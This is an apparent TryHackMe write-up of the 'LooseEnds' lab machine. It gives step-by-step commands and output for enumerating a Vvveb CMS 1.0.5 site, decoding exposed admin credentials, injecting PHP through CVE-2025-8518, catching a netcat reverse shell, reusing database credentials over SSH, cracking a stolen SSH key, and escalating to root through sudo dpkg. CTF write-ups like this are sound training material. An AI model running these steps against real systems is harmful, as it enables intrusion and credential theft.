LooseEnds | TryHackMe Writeup
Table of Contents
Overview

LooseEnds is a medium TryHackMe machine that focuses on Vvveb CMS enumeration, sensitive credential disclosure, authenticated PHP code execution, credential reuse, SSH lateral movement, Linux group-based access control, SSH private-key recovery, and sudo-based privilege escalation.
Key Vulnerabilities
- Vvveb CMS 1.0.5
- Exposed
/config/secretendpoint - Multi-layer encoded credential disclosure
- Administrator credential exposure
- CVE-2025-8518
- Authenticated arbitrary PHP code execution / RCE
- Database credential disclosure in
config/db.php - Credential reuse
- Excessive
monkeysgroup permissions - SSH private key disclosure
sudo NOPASSWDpermission for/usr/bin/dpkg- Privileged Bash execution through
dpkg - Root privilege escalation
๐ Network Discovery
First, scan the target for open ports and running services using Nmap..
nmap -n -Pn -sVC -p- --min-rate 5000 192.168.1.99
Results
$ nmap -n -Pn -sVC -p- --min-rate 5000 192.168.1.99
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-05 05:42 -0700
Nmap scan report for 192.168.1.99
Host is up (0.0019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68 ((Debian))
| http-robots.txt: 7 disallowed entries
| /admin/* /search/ /user/* /cart/* /checkout/*
|_/filters-*/ /shop/*/*/filters-*
|_http-title: Vvveb
|_http-server-header: Apache/2.4.68 (Debian)
MAC Address: 08:00:27:9E:D3:41 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.85 seconds
We can see that ports 22 and 80 are open.
- 22/tcp โ SSH
- 80/tcp โ HTTP
The HTTP service identifies the application as Vvveb.
๐ Web Enumeration
Let’s open port 80 in the browser.
The website presents:
Vvveb - The next generation website builder
Identifying the Version
Viewing the website’s source code
Reveals the installed version:
Vvveb CMS 1.0.5
The Vvveb CMS 1.0.5 vulnerability is a critical security flaw (CVE-2025-8518) that allows
logged-in administrators or attackers with template-editing privileges to achieve Remote Code Execution (RCE).
The issue exists because the platform’s built-in “Code Editor” tool fails to properly check and clean files during the saving process.
By abusing this flaw, an attacker can inject malicious code directly into the website’s files, effectively giving them complete control over the web server.
Therefore, obtaining administrator access becomes our first objective.
๐ Directory Enumeration
Let’s enumerate the web application using Gobuster.
gobuster dir -u http://192.168.1.99/ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
--exclude-length "29457,29162" -s "200,301,302" -b ""
Results
$ gobuster dir -u http://192.168.1.99/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt --exclude-length "29457,29162" -s "200,301,302" -b ""
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.99/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,301,302
[+] Exclude Length: 29457,29162
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
2022 (Status: 200) [Size: 60456]
LICENSE (Status: 200) [Size: 34523]
admin (Status: 301) [Size: 352] [--> http://192.168.1.99/admin/]
app (Status: 301) [Size: 350] [--> http://192.168.1.99/app/]
blog (Status: 200) [Size: 66287]
brand (Status: 200) [Size: 46740]
checkout (Status: 302) [Size: 181] [--> /cart]
comment-page-1 (Status: 200) [Size: 38754]
config (Status: 301) [Size: 353] [--> http://192.168.1.99/config/]
install (Status: 301) [Size: 354] [--> http://192.168.1.99/install/]
php.ini (Status: 200) [Size: 683]
plugins (Status: 301) [Size: 354] [--> http://192.168.1.99/plugins/]
public (Status: 301) [Size: 353] [--> http://192.168.1.99/public/]
radmind-1 (Status: 200) [Size: 38749]
robots.txt (Status: 200) [Size: 313]
search (Status: 200) [Size: 55822]
shop (Status: 200) [Size: 20196]
system (Status: 301) [Size: 353] [--> http://192.168.1.99/system/]
user (Status: 302) [Size: 181] [--> /user/login]
vendor (Status: 200) [Size: 49853]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
The /admin/ directory looks particularly interesting.
Navigating to it:
Reveals an administrator login page.
We don’t have the credentials yet, so let’s enumerate the application further.
๐ Enumerating the config Directory
The config directory looks interesting, so let’s fuzz it separately.
gobuster dir -u http://192.168.1.99/config \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
--exclude-length "29457,29162" -s "200,301,302" -b ""
Results
$ gobuster dir -u http://192.168.1.99/config -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt --exclude-length "29457,29162" -s "200,301,302" -b ""
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.99/config
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 302,200,301
[+] Exclude Length: 29457,29162
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
forums (Status: 200) [Size: 29653]
secret (Status: 200) [Size: 663]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
The /config/secret endpoint returns HTTP 200, so let’s inspect it.
curl http://192.168.1.99/config/secret
The response contains hexadecimal-looking data:
30 30 30 30 30 30 30 30 20 20 35 39 20 35 37 20 35 32 20 37 34 20 36 31 20 35 37 20 33 34 20 36 37 20 34 66 20 36 39 20 34 32 20 34 64 20 35 39 20 35 37 20 34 61 20 34 32 20 20 7c 59 57 52 74 61 57 34 67 4f 69 42 4d 59 57 4a 42 7c 0a 30 30 30 30 30 30 31 30 20 20 35 61 20 34 37 20 33 31 20 37 30 20 36 32 20 36 39 20 34 35 20 37 39 20 34 64 20 34 34 20 34 39 20 33 32 20 34 39 20 37 61 20 34 32 20 33 34 20 20 7c 5a 47 31 70 62 69 45 79 4d 44 49 32 49 7a 42 34 7c 0a 30 30 30 30 30 30 32 30 20 20 34 66 20 35 31 20 33 64 20 33 64 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7c 4f 51 3d 3d 7c
This appears to be encoded multiple times.
Using CyberChef with the following sequence:
From HEX
โ
From Hexdump
โ
From Base64
reveals the administrator credentials.
admin : [PASSWORD]
๐ Web - Administrator Access
We can now log into the Vvveb administrator panel using:
Username: admin
Password: [PASSWORD]
The Vvveb administrator panel was successfully accessed.
This gives us the privileges required to exploit the Vvveb CMS vulnerability.
๐ฅ Exploiting CVE-2025-8518
The installed Vvveb version is:
Vvveb CMS 1.0.5
The application provided a Themes โ Code Editor functionality that allowed modification of PHP theme files.
Navigation:
Themes
โโโ Code Editor
โโโ landing
โโโ theme.php
Scroll to bottom click on Edit.
Testing Arbitrary PHP Code Execution
The theme.php file was modified to test whether PHP code could be executed.
<?php
$file = '/etc/passwd';
if (file_exists($file) && is_readable($file)) {
$content = file_get_contents($file);
echo nl2br(htmlspecialchars($content));
} else {
echo "The file is not readable or does not exist.";
}
?>
After saving the modification,
Now let’s click the Edit Website option from the right-side menu and open the source page of the site.
The injected PHP code executed successfully and displayed the contents of: /etc/passwd
This confirmed arbitrary PHP code execution through the authenticated Vvveb code editor.
This should be described as arbitrary PHP code execution / Remote Code Execution (RCE) rather than command injection.
๐ค User Enumeration
The /etc/passwd file revealed several local accounts.
Two interesting users were:
bunny
zer0arc4
This provided potential targets for further privilege escalation and lateral movement.
๐ Reverse Shell
A PHP reverse-shell payload was placed into the same editable PHP file.
On the attacker machine, a Netcat listener was started:
nc -lnvp 443
Now let’s follow the same steps we did previously :
```text
Themes
โโโ Code Editor
โโโ landing
โโโ theme.php
But now let’s upload the Pentestmonkey PHP reverse shell code from Revshell.com and save and triggering the modified PHP page.
A reverse shell was received and was running as:
The listener receives the connection:
listening on [any] 443 ...
connect to [192.168.1.28] from (UNKNOWN) [192.168.1.99] 57010
Linux LooseEnds 6.12.111+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.111-1 (2026-09-28) x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
Check our current identity:
id
whoami
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
We now have a shell as:
www-data
๐ฅ๏ธ TTY Upgrade
Upgrade the reverse shell to a more interactive TTY:
script /dev/null -c bash
Press:
Ctrl + Z
Then run:
stty raw -echo; fg
Next:
reset xterm
export TERM=xterm
export BASH=bash
The reverse shell is now upgraded to an interactive terminal.
๐ Credential Enumeration
Standard privilege-escalation checks were performed, including:
- SUID binaries
- Linux capabilities
sudo -l
Nothing immediately useful was discovered.
Next, search for configuration files containing credentials.
An interesting file is:
/var/www/vvveb/config/db.php
Read the file:
cat /var/www/vvveb/config/db.php
Output
<?php
return array (
'default' => 'mysqli',
'connections' =>
array (
'mysqli' =>
array (
'engine' => 'mysqli',
'host' => '127.0.0.1',
'database' => 'vvveb',
'user' => 'bunny',
'password' => '[PASSWORD]',
'port' => NULL,
'prefix' => '',
),
),
);
The configuration file contains credentials for the bunny account.
This suggests that the same credentials may be reused for system access.
๐ค SSH Access as Bunny
Try the discovered credentials over SSH:
ssh bunny@192.168.1.99
After entering the recovered password, we obtain a shell as bunny.
Verify our privileges:
$ ssh bunny@192.168.1.99
bunny@192.168.1.99's password:
Linux LooseEnds 6.12.111+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.111-1 (2026-09-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bunny@LooseEnds:~$ id ; whoami
uid=1001(bunny) gid=1001(bunny) groups=1001(bunny),100(users),1002(monkeys)
bunny
bunny@LooseEnds:~$
We have successfully logged in as bunny.
The account is also a member of the interesting group:
monkeys
๐ Accessing Zer0arc4’s SSH Key
Let’s search for files belonging to the monkeys group:
find / -group monkeys 2>/dev/null
Output:
bunny@LooseEnds:~$ find / -group monkeys 2>/dev/null
/home/zer0arc4/.ssh
/home/zer0arc4/.ssh/id_ed25519
bunny@LooseEnds:~$
Because bunny is a member of the monkeys group, we can access the SSH private key belonging to zer0arc4.
Copy the private key to the attacking machine and prepare it for cracking.
The key is:
id_ed25519
Convert the key to a John the Ripper-compatible hash and crack it using rockyou.txt.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Result
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /home/arc/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[********] (id_ed25519)
1g 0:00:06:14 DONE (2026-10-05 07:40) 0.002668g/s 24.71p/s 24.71c/s 24.71C/s rubberducky..BASKETBALL
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The private-key passphrase was successfully recovered.
๐ฅ๏ธ SSH Access as Zer0arc4
Use the recovered passphrase with the private key:
ssh -i id_ed25519 zer0arc4@192.168.1.99
After entering the recovered passphrase, we obtain a shell as zer0arc4.
Verify:
$ ssh -i id_ed25519 zer0arc4@192.168.1.99
Enter passphrase for key 'id_ed25519':
Linux LooseEnds 6.12.111+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.111-1 (2026-09-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 4 12:31:39 2026 from 192.168.1.28
zer0arc4@LooseEnds:~$ id ;whoami
uid=1000(zer0arc4) gid=1000(zer0arc4) groups=1000(zer0arc4),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),104(bluetooth),1002(monkeys)
zer0arc4
We have successfully moved from:
www-data โ bunny โ zer0arc4
๐ฉ User Flag
The user flag is located in the zer0arc4 home directory.
cat /home/zer0arc4/user.txt
THM{QWxha2F0aS*******************}
โฌ๏ธ Privilege Escalation to Root
Now let’s check the commands that zer0arc4 can execute with sudo.
sudo -l
Output
zer0arc4@LooseEnds:~$ sudo -l
Matching Defaults entries for zer0arc4 on LooseEnds:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User zer0arc4 may run the following commands on LooseEnds:
(root) NOPASSWD: /usr/bin/dpkg
zer0arc4@LooseEnds:~$
We can execute: /usr/bin/dpkg as root without providing a password.
๐ฃ Exploiting Sudo dpkg
Run:
sudo /usr/bin/dpkg -l
This opens the package list interface.
From the interface, press: ESC to access the command prompt.
Enter:
!/bin/bash -p
This launches a privileged Bash shell.
Verify our privileges:
root@LooseEnds:~# id ; whoami
uid=0(root) gid=0(root) groups=0(root)
root
root@LooseEnds:~#
We have successfully obtained a root shell.
๐ฉ Root Flag
Read the root flag:
cat /root/root.txt
THM{QWxha2F0aSBSYWphbW*********************}
๐งพ Summary
LooseEnds was compromised through a vulnerable Vvveb CMS 1.0.5 installation. Directory enumeration revealed /config/secret, which contained encoded administrator credentials. After decoding the data, administrator access was obtained.
Using the administrator access, CVE-2025-8518 was exploited through the Vvveb Code Editor to achieve PHP code execution and obtain a reverse shell as www-data.
Further enumeration revealed database credentials for another local account in /var/www/vvveb/config/db.php. The credentials were reused to gain SSH access as bunny.
The bunny account belonged to the monkeys group, which provided access to another user’s SSH private key. After recovering the key’s passphrase, SSH access was obtained as zer0arc4.
Finally, sudo -l revealed that zer0arc4 could execute /usr/bin/dpkg as root without a password. This was abused to spawn a privileged Bash shell and obtain root access.
๐ Key Takeaways
- Vvveb CMS 1.0.5 was vulnerable to CVE-2025-8518, allowing authenticated code execution through the Code Editor.
- Sensitive authentication information was exposed through the
/config/secretendpoint after decoding multiple layers of encoding. - Application configuration files can disclose credentials that may enable lateral movement.
- Group memberships should always be checked, as the
monkeysgroup provided access to another user’s SSH private key. - Reused credentials can allow movement from a web shell to a local SSH account.
- Always enumerate
sudo -lafter obtaining a user shell. - The
NOPASSWDpermission for/usr/bin/dpkgprovided the final path to root. - The complete attack chain was:
Related Posts
Vvveb | VulNyx Writeup
Compromised the Vvveb machine by identifying Vvveb CMS 1.0.5, discovering the exposed /system/secret endpoint and โฆ
Overpass | TryHackMe Writeup
Compromised the Overpass machine by bypassing the administrator authentication through an improperly validated โฆ
CraftFall | VulNyx Writeup
Compromised the CraftFall machine by exploiting Craft CMS 5.6.16 through CVE-2025-32432 to obtain a www-data shell, โฆ
Zerotrace | VulNyx Writeup
Compromised the ZeroTrace machine by discovering a hidden .admin directory and exploiting LFI to enumerate /proc โฆ